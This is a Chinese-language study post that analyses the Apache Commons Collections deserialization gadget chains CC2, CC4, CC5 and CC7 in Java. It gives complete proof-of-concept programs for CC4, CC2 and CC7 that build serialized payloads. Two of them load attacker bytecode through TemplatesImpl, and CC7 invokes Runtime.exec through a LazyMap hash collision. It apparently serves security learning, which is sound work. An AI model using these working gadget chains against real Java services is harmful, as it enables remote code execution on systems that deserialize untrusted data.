java反序列化学习—CC2+CC4+CC5+CC7
1.CC4 反序列化利用链核心解析
在 commonscollections4 版本中,TransformingComparator 类的关键变化使其成为反序列化利用链的核心组件——该类从不可序列化(未实现 Serializable 接口)转变为可序列化。这一改动为攻击者通过反序列化触发恶意代码执行提供了基础条件。
核心链分析:从 ChainedTransformer.transform 到 TransformingComparator.compare
要理解 CC4 的利用链,需从 ChainedTransformer.transform 方法入手。该方法的核心逻辑是通过组合多个转换器(Transformer)对输入对象进行链式转换。而 TransformingComparator 作为 Comparator 的实现类,其 compare 方法中直接调用了 Transformer.transform,具体代码如下:
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
查询该同名方法在哪里调用发现了PriorityQueue,优先队列因为需要保证队列有序,需要对元素进行比较,所以可以优先看下该优先队列,继续跟踪这些调用了compare的方法,发现在一个调用链的最好有一个 readobject。

具体流程:如下所示
PriorityQueue.readObject->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator->comparator.compare

我们只需要控制PriorityQueue里的comparator为TransformingComprator,便可走完我们的这条链。
这里需要注意heapify里需要(size >>> 1 >=0,所以size至少需要为2,在构造链的时候需要向队列里添加任意两个值。

构造利用链时需注意初始化顺序问题。不可直接使用ChainedTransformer初始化TransformingComparator,否则会在序列化前触发恶意代码执行。先用ConstantTransformer等无害转换器初始化TransformingComparator`。具体实现如下所示。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "qwq");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates, new TransformerFactoryImpl());
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformedField = c.getDeclaredField("transformer");
transformedField.setAccessible(true);
transformedField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}
2.CC2 反序列化利用链分析
CC2与CC4不同在于,他通过调用InvokerTransformer.transform直接触发TemplatesImpl.newTransformer,同时使用add直接将templates对象放入,不再借助ConstantTransformer。具体如下。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer; // 修改为正确版本
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "qwq");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}
3.CC5 反序列化链分析
CC5出发点是BadAttributeValueExpExceptionl的readObject,这个方法里调用了toString()方法。

并且TiedMapEntry下是有toString方法的,具体如下

它会调用TiedMapEntry的getvalue方法,getvalue再调用Lazymap中的get方法,后续与CC1一致。
4.CC7 反序列化链分析
利用链如下
Hashtable.readObject → Hashtable.reconstitutionPut->AbstractMap.equals → TiedMapEntry → LazyMap.get
具体流程如下
1.反序列化恶意构造的Hashtable对象时,其readObject()方法会重建内部哈希表,并处理键冲突。
2.预先设置两个哈希碰撞的键(如KeyA和KeyB)。当反序列化发生冲突时,触发KeyA.equals(KeyB)比较。
3.因为KeyB是Map类型,会调用AbstractMap.equals(KeyA)。该方法遍历KeyB中的元素时,会对参数KeyA调用:if (!value.equals(m.get(key))) =KeyA.get()
TiedMapEntry.get()方法转调到其内部持有的LazyMap对象:
实现代码如下。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7test {
public static void main(String[] args) throws Exception {
Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(2)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);
Map innerMap1 = new HashMap();
innerMap1.put("pP", 1);
Map innerMap2 = new HashMap();
innerMap2.put("oo", 1);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("pP");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transforms);
serialize(hashtable, "ser.bin");
unserialize("ser.bin");
}
// 序列化方法
public static void serialize(Object obj, String filename) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(obj);
oos.close();
System.out.println("Serialization completed. File: " + filename);
}
// 反序列化方法
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
System.out.println("Deserialization completed.");
return obj;
}
}

浙公网安备 33010602011771号